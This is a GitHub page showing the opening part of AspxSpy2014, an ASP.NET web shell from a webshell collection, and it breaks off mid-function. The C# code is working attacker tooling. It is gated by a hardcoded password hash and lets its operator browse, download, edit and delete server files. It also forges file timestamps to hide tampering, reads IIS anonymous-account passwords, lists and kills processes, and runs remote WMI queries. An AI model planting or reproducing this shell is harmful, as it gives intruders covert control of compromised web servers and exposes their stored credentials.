forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
AspxSpy2014Final.aspx
2964 lines (2952 loc) · 107 KB
/
AspxSpy2014Final.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%@ Page Language="C#" Debug="false" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.IO.Compression"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="System.Data.Common"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ import Namespace="System.Management"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Reflection"%>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.DirectoryServices"%>
<%@ import Namespace="System.ServiceProcess"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ Import Namespace="System.Security"%>
<%@ Import Namespace="System.Security.Permissions"%>
<%@ Import Namespace="System.Threading"%>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server">
/*
Thanks Snailsor,FuYu,BloodSword,Cnqing,Dream
Code by Bin
Make in China
Blog: http://www.rootkit.net.cn
E-mail : [email protected]
Mod by zcgonvh,last modified on 2014-01-23
Bug or idea: [email protected]
*/
public const string Version="ASPXSpy2014";
public const string Password="21232f297a57a5a743894a0e4a801fc3"; //admin
private const string DomainUserName="administrator";//change it if domain user name not equals "administrator"
private const string PMCacheName=Version+"PMList";
private int CssC=1;
private DbConnection conn=null;
private DbCommand comm=null;
protected void Page_Load(object sender,EventArgs e)
{
JscriptSender(this);
if (!Bin_CheckLogin()){return;}
if(IsPostBack)
{
zcg_GetDriver();
zcg_SetHeaderInfo();
string Bin_Target=Request["__EVENTTARGET"];
string Bin_Path=Request["__File"];
if(Bin_Target!="")
{try{
switch(Bin_Target)
{
case "Bin_Listdir":
Bin_File(Bin_FromBase64(Bin_Path));
break;
case "Bin_Deldir":
Bin_Deldir(Bin_FromBase64(Bin_Path));
break;
case "Bin_Createfile":
Bin_CreateFile(Bin_Path);
break;
case "Bin_Editfile":
Bin_CreateFile(Bin_Path);
break;
case "Bin_Createdir":
Bin_CreateDir(Bin_Path);
break;
case "Bin_CloneTime":
Bin_CloneTime(Bin_Path);
break;
case "Bin_DownFile":
Bin_DownFile(Bin_FromBase64(Bin_Path));
break;
case "Bin_DelFile":
Bin_DelFile(Bin_Path);
break;
case "Bin_Regread":
Bin_ShowReg(Bin_FromBase64(Bin_Path));
break;
case "Bin_KillMe":
Bin_KillMe();
break;
case "zcg_KillProcess":
zcg_KillProcess(Bin_Path);
break;
case "zcg_ListADS":
zcg_txbADSPath.Value=Bin_FromBase64(Bin_Path);
zcg_EnumADSChildrenAndListProperties(Bin_FromBase64(Bin_Path),zcg_txbADSUser.Value,zcg_txbADSPass.Value,zcg_txbADSType.Value);
break;
case "zcg_ClosePM":
zcg_ClosePM(Bin_FromBase64(Bin_Path));
break;
}
if(Bin_Target.StartsWith("zcg_Rename"))
{
zcg_Rename(Bin_FromBase64(Bin_Target.Replace("zcg_Rename","")),Bin_Path);
}
else if(Bin_Target.StartsWith("Bin_CFile"))
{
Bin_CopyFile(Bin_FromBase64(Bin_Target.Replace("Bin_CFile","")),Bin_Path);
}
}catch(Exception ex){zcg_ShowError(ex);}}
}
else
{Bin_Main();}
}
void IHttpHandler.ProcessRequest(HttpContext context)
{
try{base.ProcessRequest(context);}
catch(SecurityException ex){context.Response.Clear();context.Response.Write("AspxSpy request low-trust minimum,Exception message: "+ex.Message);}
catch(Exception ex){context.Response.Write(String.Format("Unhandled exception: {0} <pre><xmp>\r\nmessage:\r\n {1} \r\ntrace:\r\n {2} \r\n string:\r\n {3}</xmp></pre>",ex.GetType(),ex.Message,ex.StackTrace,ex));}
}
private void Hide_Div()
{
Bin_Div_Process.Visible = false;
Bin_Div_File.Visible = false;
Bin_Div_Cmd.Visible = false;
Bin_Div_Reg.Visible = false;
Bin_Div_PortScan.Visible = false;
Bin_Div_Data.Visible = false;
Bin_Div_PortMap.Visible = false;
Bin_Div_Edit.Visible = false;
Bin_Div_Search.Visible = false;
Bin_Div_WmiTools.Visible = false;
zcg_div_ADSViewer.Visible=false;
zcg_div_Plugin.Visible=false;
}
private bool Bin_CheckLogin()
{
if(Request.Cookies[Version]==null)
{
Bin_Login();
return false;
}
else
{
if (Request.Cookies[Version].Value!=Password)
{
Bin_Login();
return false;
}
else
{
return true;
}
}
}
private void Bin_Login()
{
Bin_Div_Login.Visible=true;
Bin_Div_Content.Visible=false;
}
protected void Bin_Button_Logout_Click(object sender,EventArgs e)
{
Session.Abandon();
Response.Cookies.Add(new HttpCookie(Version,null));
Bin_Login();
}
private void Bin_Main()
{
zcg_SetHeaderInfo();
zcg_GetDriver();
if (Bin_TextBox_Path.Value=="")
{
Bin_TextBox_Path.Value=Bin_PathBuild(Server.MapPath("."));
}
Bin_File(Bin_TextBox_Path.Value);
}
private void zcg_SetHeaderInfo()
{
Bin_Div_Content.Visible=true;
Bin_Div_Login.Visible=false;
Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPXSPY?')){Bin_PostBack('Bin_KillMe','');};";
Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")"+zcg_CheckPermission();
Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
}
private string zcg_CheckPermission()
{
string s=" Host Trust Level: <span style='color:red;'>{0}</span> IsFull-Trust: <span style='color:red;'>{1}</span> User:  <span style='color:red;'>{2}</span>";
string u=zcg_GetUserName();
try{(new PermissionSet(PermissionState.Unrestricted)).Demand();return string.Format(s,GetTrustLevel(),true,u);}
catch{return string.Format(s,GetTrustLevel(),false,u);}
}
private string zcg_GetUserName()
{
try{return System.Security.Principal.WindowsIdentity.GetCurrent().Name;}catch{return "Unknown -- No permission";}
}
private string GetTrustLevel()
{
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Unrestricted).Demand();return "Full";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.High).Demand();return "High";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Medium).Demand();return "Medium";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Low).Demand();return "Low";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Minimal).Demand();return "Minimal";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.None).Demand();return "None";}catch{}
return "Unknown";
}
private void zcg_GetDriver()
{
string[] drivers=null;
try{drivers=Directory.GetLogicalDrives();}
catch{string drs="";
for(int i=0x41;i<0x5b;i++)
{
string ds=new string((new char[]{(char)i,':','\\'}));
try
{
DriveInfo di=new DriveInfo(ds);
if(di.DriveType!=DriveType.NoRootDirectory){drs+=ds+"|";}
}catch{}
finally{drivers=drs.Split(new char[]{'|'},(StringSplitOptions)1);}
}}
Bin_Span_Drv.InnerHtml="";
for(int i=0;i<drivers.Length;i++)
{
Bin_Span_Drv.InnerHtml+=String.Format("<a href=\"javascript:Bin_PostBack('Bin_Listdir','{0}')\">{1}</a> | ",Bin_ToBase64(drivers[i]),Bin_Drvbuild(drivers[i]));
}
}
private string Bin_PathBuild(string path)
{
if(!path.EndsWith(@"\")){path+=@"\";}return path;
}
private string Bin_Drvbuild(string instr)
{
DriveInfo di=new DriveInfo(instr);
return String.Format("{0}({1}:)",di.DriveType,instr[0]);
}
private string Bin_ToBase64(string instr)
{
byte[] tmp=Encoding.UTF8.GetBytes(instr);
return Convert.ToBase64String(tmp);
}
private string Bin_FromBase64(string instr)
{
byte[] tmp=Convert.FromBase64String(instr);
return Encoding.UTF8.GetString(tmp);
}
private TableRow zcg_GetTableRow()
{
TableRow tr=new TableRow();
zcg_SetControlAttribute(tr);
return tr;
}
private void zcg_SetControlAttribute(WebControl ctl)
{
string bg=Bin_Css();
ctl.Attributes["onmouseover"]="this.className='focus';";
ctl.CssClass=bg;
ctl.Attributes["onmouseout"]="this.className='"+bg+"';";
}
private void Bin_File(string path)
{
try{
Hide_Div();
Bin_Div_File.Visible=true;
Bin_H2_Title.InnerText="File Manager >>";
Bin_TextBox_Path.Value=Bin_PathBuild(path);
path=(path.EndsWith("\\")&&(!path.EndsWith(":\\")))?path.TrimEnd('\\'):path;
DirectoryInfo Bin_dir=new DirectoryInfo(path);
try{
if(Directory.GetParent(path)!=null)
{
TableRow p=zcg_GetTableRow();
for(int i=1;i<6;i++)
{
TableCell pc=new TableCell();
if(i==1)
{
pc.Width=Unit.Parse("2%");
pc.Text="0";
}
if(i==2)
{
pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Directory.GetParent(path).ToString())+"')\">Parent Directory</a>";
}
p.Cells.Add(pc);
Bin_Table_File.Rows.Add(p);
}
}}catch{}
try
{
int dir_c=0;
foreach(DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
{
dir_c++;
TableCell tc=new TableCell();
tc.Width=Unit.Parse("2%");
tc.Text="0";
TableRow tr=zcg_GetTableRow();
tr.Cells.Add(tc);
TableCell dirname=new TableCell();
dirname.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
tr.Cells.Add(dirname);
TableCell dirtime=new TableCell();
dirtime.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
tr.Cells.Add(dirtime);
Bin_Table_File.Rows.Add(tr);
TableCell dirsize=new TableCell();
dirsize.Text="--";
tr.Cells.Add(dirsize);
Bin_Table_File.Rows.Add(tr);
TableCell diraction=new TableCell();
diraction.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('Bin_Deldir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";
tr.Cells.Add(diraction);
Bin_Table_File.Rows.Add(tr);
}
TableRow intr=new TableRow();
intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
intr.Attributes["bgcolor"]="#dddddd";
TableCell intc=new TableCell();
intc.Attributes["colspan"]="6" ;
intc.Attributes["height"]="5";
intr.Cells.Add(intc);
Bin_Table_File.Rows.Add(intr);
int file_c=0;
foreach(FileInfo Bin_Files in Bin_dir.GetFiles())
{
file_c++;
TableRow tr=zcg_GetTableRow();
TableCell tc=new TableCell();
tc.Width=Unit.Parse("2%");
tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+Bin_ToBase64(Bin_Files.Name)+"\">";
tr.Cells.Add(tc);
TableCell filename=new TableCell();
if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
{
string url=Request.Url.ToString();
filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>";
}
else
{
filename.Text=Bin_Files.Name;
}
TableCell filetime=new TableCell();
filetime.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
TableCell filesize=new TableCell();
filesize.Text=Bin_FileSize(Bin_Files.Length);
TableCell action=new TableCell();
action.Text="<a href=\"#\" onclick=\"Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+Bin_TextBox_Path.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_CloneTime','"+Bin_Files.Name+"')\">Time</a> ";
tr.Cells.Add(filename);
tr.Cells.Add(filetime);
tr.Cells.Add(filesize);
tr.Cells.Add(action);
Bin_Table_File.Rows.Add(tr);
}
TableRow cktr=zcg_GetTableRow();
for(int i=1;i<4;i++)
{
TableCell cktd=new TableCell();
if(i==1)
{
cktd.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
}
if(i==2)
{
cktd.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('Bin_DelFile',d_file)};}\">Delete selected</a>";
}
if(i==3)
{
cktd.ColumnSpan=4;
cktd.Style.Add("text-align","right");
cktd.Text=dir_c+" directories/ "+file_c+" files";
}
cktr.Cells.Add(cktd);
}
Bin_Table_File.Rows.Add(cktr);
}
catch(Exception err)
{
zcg_ShowError(err);
}}catch(Exception ex){zcg_ShowError(ex);}
}
private string Bin_Css()
{
CssC++;
if(CssC % 2==0)
{
return "alt1";
}
else
{
return "alt2";
}
}
private void Bin_Deldir(string dirstr)
{
try
{
Directory.Delete(dirstr,true);
Bin_Msg("Directory delete success !");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Directory.GetParent(dirstr).ToString());
}
private void zcg_Rename(string source,string dire)
{
try
{
dire=Path.Combine(Bin_TextBox_Path.Value,dire);
Directory.Move(source,dire);
Bin_Msg("Rename Success !");
}
catch(Exception error)
{
Bin_Msg(error.Message);
}
Bin_File(Bin_TextBox_Path.Value);
}
private void Bin_CopyFile(string spath,string dpath)
{
try
{
File.Copy(spath,dpath);
Bin_Msg("File Copy Success !");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
private void Bin_CreateDir(string path)
{
try
{
Directory.CreateDirectory(Bin_TextBox_Path.Value+path);
Bin_Msg("Directory created success !");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
private void Bin_CreateFile(string path)
{
if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
{
foreach(ListItem item in Bin_List_Code.Items)
{
if(item.Selected)
{
item.Selected=false;
}
}
}
Bin_H2_Title.InnerText="Create/ Edit File >>";
Hide_Div();
Bin_Div_Edit.Visible=true;
if(path.IndexOf(":")< 0)
{
Bin_TextBox_Fp.Value=Bin_TextBox_Path.Value+path;
}
else
{
Bin_TextBox_Fp.Value=path;
}
if(File.Exists(Bin_TextBox_Fp.Value))
{
StreamReader sr;
if(Bin_List_Code.SelectedItem.Text=="UTF-8")
{
sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.UTF8);
}
else
{
sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.Default);
}
Bin_Textarea_Edit.InnerText=sr.ReadToEnd();
sr.Close();
}
else
{
Bin_Textarea_Edit.InnerText="";
}
}
private void Bin_DownFile(string path)
{
FileStream fs=null;
byte[] buffer=new byte[0x1000];
int count=0;
try{
FileInfo fi=new FileInfo(path);
fs=fi.OpenRead();
Response.Clear();
Response.ClearHeaders();
Response.Buffer=false;
this.EnableViewState=false;
Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fi.Name,System.Text.Encoding.UTF8));
Response.AddHeader("Content-Length",fi.Length.ToString());
Response.ContentType="application/octet-stream";
count=fs.Read(buffer,0,0x1000);
while(count>0)
{
Response.OutputStream.Write(buffer,0,count);
Response.Flush();
count=fs.Read(buffer,0,0x1000);
}
Page.Response.Flush();
Response.End();
}catch(Exception ex){zcg_ShowError(ex);}
finally{if(fs!=null){fs.Close();}}
}
private void Bin_DelFile(string path)
{
try
{
string[] mydata=path.Split(',');
for(int i=0;i<mydata.Length-1;i++)
{
File.Delete(Bin_TextBox_Path.Value+Bin_FromBase64(mydata[i]));
}
Bin_Msg("File Delete Success !");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
private void Bin_KillMe()
{
try
{
File.Delete(Request.PhysicalPath);
Response.Redirect("http://www.rootkit.net.cn");
}
catch(Exception error)
{
zcg_ShowError(error);
}
}
private void Bin_CloneTime(string path)
{
try{
path=Path.Combine(Bin_TextBox_Path.Value,path);
Bin_TextBox_Sp.Value=path;
Bin_TextBox_Dp.Value=Bin_TextBox_Path.Value;
Bin_TextBox_Sp1.Value=path;
string Att=File.GetAttributes(Bin_TextBox_Sp.Value).ToString();
Bin_H2_Title.InnerText="Clone file was last modified time >>";
Hide_Div();
Bin_Div_Time.Visible=true;
if(Att.LastIndexOf("ReadOnly")!=-1)
{
Bin_CheckBox_ReadOnly.Checked=true;
}
if(Att.LastIndexOf("System")!=-1)
{
Bin_CheckBox_System.Checked=true;
}
if(Att.LastIndexOf("Hidden")!=-1)
{
Bin_CheckBox_Hiddent.Checked=true;
}
if(Att.LastIndexOf("Archive")!=-1)
{
Bin_CheckBox_Archive.Checked=true;
}
Bin_TextBox_Creation.Value=File.GetCreationTimeUtc(Bin_TextBox_Sp1.Value).ToString();
Bin_TextBox_LastWrite.Value=File.GetLastWriteTimeUtc(Bin_TextBox_Sp1.Value).ToString();
Bin_TextBox_LastAccess.Value=File.GetLastAccessTimeUtc(Bin_TextBox_Sp1.Value).ToString();
}catch(Exception ex){zcg_ShowError(ex);}
}
private String Bin_FileSize(Int64 fileSize)
{
if(fileSize<0)
{
throw new ArgumentOutOfRangeException("fileSize");
}
else if(fileSize >= 1024 * 1024 * 1024)
{
return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
}
else if(fileSize >= 1024 * 1024)
{
return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
}
else if(fileSize >= 1024)
{
return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
}
else
{
return string.Format("{0} B",fileSize);
}
}
private void Bin_IISSpy()
{
string iisstr="IIS://localhost/W3SVC";
DirectoryEntry mydir=new DirectoryEntry(iisstr);
foreach(DirectoryEntry child in mydir.Children)
{
int tmpi=0;
if(Int32.TryParse(child.Name.ToString(),out tmpi))
{
DirectoryEntry newdir=new DirectoryEntry(iisstr+"/"+child.Name.ToString());
DirectoryEntry dirmsg=newdir.Children.Find("root","IIsWebVirtualDir");
TableRow TR=zcg_GetTableRow();
TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
for(int i=1;i<6;i++)
{
try
{
TableCell TC_USER=new TableCell();
switch(i)
{ case 1:
TC_USER.Text=tmpi.ToString();
break;
case 2:
TC_USER.Text=dirmsg.Properties["AnonymousUserName"].Value.ToString();
break;
case 3:
TC_USER.Text=dirmsg.Properties["AnonymousUserPass"].Value.ToString();
break;
case 4:
StringBuilder sb=new StringBuilder();
PropertyValueCollection pc=child.Properties["ServerBindings"];
for (int j=0; j < pc.Count; j++)
{
sb.Append(pc[j].ToString()+"<br>");
}
TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
break;
case 5:
TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(dirmsg.Properties["Path"].Value.ToString())+"')\">"+dirmsg.Properties["Path"].Value.ToString()+"</a>";
break;
}
TR.Cells.Add(TC_USER);
}
catch{continue;}
}
Bin_Table_IISSpy.Controls.Add(TR);
}
}
}
private void Bin_WMI_IISSpy()
{
Regex re=new Regex(@"W3SVC\/(\d+)\/",RegexOptions.IgnoreCase);
ManagementScope wmiscope=new ManagementScope(@"\\.\root\MicrosoftIISv2");
wmiscope.Connect();
ObjectQuery wmiquery=new ObjectQuery("SELECT * FROM IISWebVirtualDirSetting");
ManagementObjectSearcher wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery);
ManagementObjectCollection querycoll=wmisearcher.Get();
foreach(ManagementObject objmanage in querycoll)
{
string siteid=re.Matches(objmanage["Name"].ToString())[0].Groups[1].Value;
TableRow TR=zcg_GetTableRow();
for(int i=1;i<6;i++)
{
try
{
TableCell TC_USER=new TableCell();
switch (i)
{
case 1:
TC_USER.Text=siteid;
break;
case 2:
TC_USER.Text=objmanage["AnonymousUserName"].ToString();
break;
case 3:
TC_USER.Text=objmanage["AnonymousUserPass"].ToString();
break;
case 4:
wmiquery=new ObjectQuery("SELECT * from IISWebServerSetting where Name='W3SVC/"+siteid+"'");
wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery);
ManagementObjectCollection svrcoll=wmisearcher.Get();
foreach(ManagementObject objsvr in svrcoll)
{
StringBuilder sb=new StringBuilder();
TR.Attributes["title"]="Site:"+objsvr["ServerComment"];
foreach(ManagementBaseObject objbind in (ManagementBaseObject[])objsvr["ServerBindings"])
{
sb.Append(objbind["IP"].ToString()+":"+objbind["Port"].ToString()+":"+objbind["Hostname"].ToString()+"<br>");
}
TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
}
break;
case 5:
TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(objmanage["Path"].ToString())+"')\">"+objmanage["Path"].ToString()+"</a>";
break;
}
TR.Cells.Add(TC_USER);
}
catch{continue;}
}
Bin_Table_IISSpy.Controls.Add(TR);
}
}
private ManagementObjectCollection Bin_WmiQuery(string @namespace,string query)
{
ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query);
return QS.Get();
}
private DataTable zcg_WmiDataTable(string @namespace,string query)
{
ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query);
return zcg_WmiSearcherToDataTable(QS);
}
private DataTable zcg_WmiDataTable(string computer,string username,string password,string @namespace,string query)
{
ConnectionOptions connection = new ConnectionOptions();
string domain=(username.IndexOf("\\")>0)?(username.Split('\\')[0]):"";
connection.Username = (username.IndexOf("\\")>0)?(username.Split('\\')[1]):username;
connection.Password = password;
connection.Authority = "ntlmdomain:"+domain;
ManagementScope scope = new ManagementScope("\\\\"+computer+"\\"+@namespace, connection);
scope.Connect();
ObjectQuery objquery= new ObjectQuery(query);
ManagementObjectSearcher QS = new ManagementObjectSearcher(scope, objquery);
return zcg_WmiSearcherToDataTable(QS);
}
private DataTable zcg_WmiSearcherToDataTable(ManagementObjectSearcher QS)
{
DataTable dt=new DataTable();
foreach(ManagementObject m in QS.Get())
{
DataRow dr=dt.NewRow();
PropertyDataCollection.PropertyDataEnumerator oEnum;
oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
while(oEnum.MoveNext())
{
PropertyData prop=(PropertyData)oEnum.Current;
if(dt.Columns.IndexOf(prop.Name)==-1)
{
dt.Columns.Add(prop.Name);
dt.Columns[dt.Columns.Count-1].DefaultValue="";
}
if(m[prop.Name]!=null)
{
dr[prop.Name]=m[prop.Name].ToString();
}
else
{
dr[prop.Name]="";
}
}
dt.Rows.Add(dr);
}
return dt;
}
private void Bin_GetProcess()
{
int pcount=0;
Process[] p=Process.GetProcesses();
foreach(Process sp in p)
{
pcount++;
TableRow tr=zcg_GetTableRow();
for(int i=1;i<7;i++)
{
TableCell td=new TableCell();
if(i==1)
{
td.Width=Unit.Parse("2%");
td.Text=pcount.ToString();
tr.Controls.Add(td);
}
if(i==2)
{
td.Text=sp.Id.ToString();
tr.Controls.Add(td);
}
if(i==3)
{
td.Text=sp.ProcessName.ToString();
tr.Controls.Add(td);
}
if(i==4)
{
td.Text=sp.Threads.Count.ToString();
tr.Controls.Add(td);
}
if(i==5)
{
td.Text=sp.BasePriority.ToString();
tr.Controls.Add(td);
}
if(i==6)
{
td.Text=zcg_MakeKillProcessLink(sp.Id);
tr.Controls.Add(td);
}
}
Bin_Table_Process.Controls.Add(tr);
}
}
private void Bin_Wmi_GetProcess()
{
int pcount=0;
DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Process");
for(int j=0;j<dt.Rows.Count;j++)
{
pcount++;
TableRow tr=zcg_GetTableRow();
for(int i=1;i<7;i++)
{
TableCell td=new TableCell();
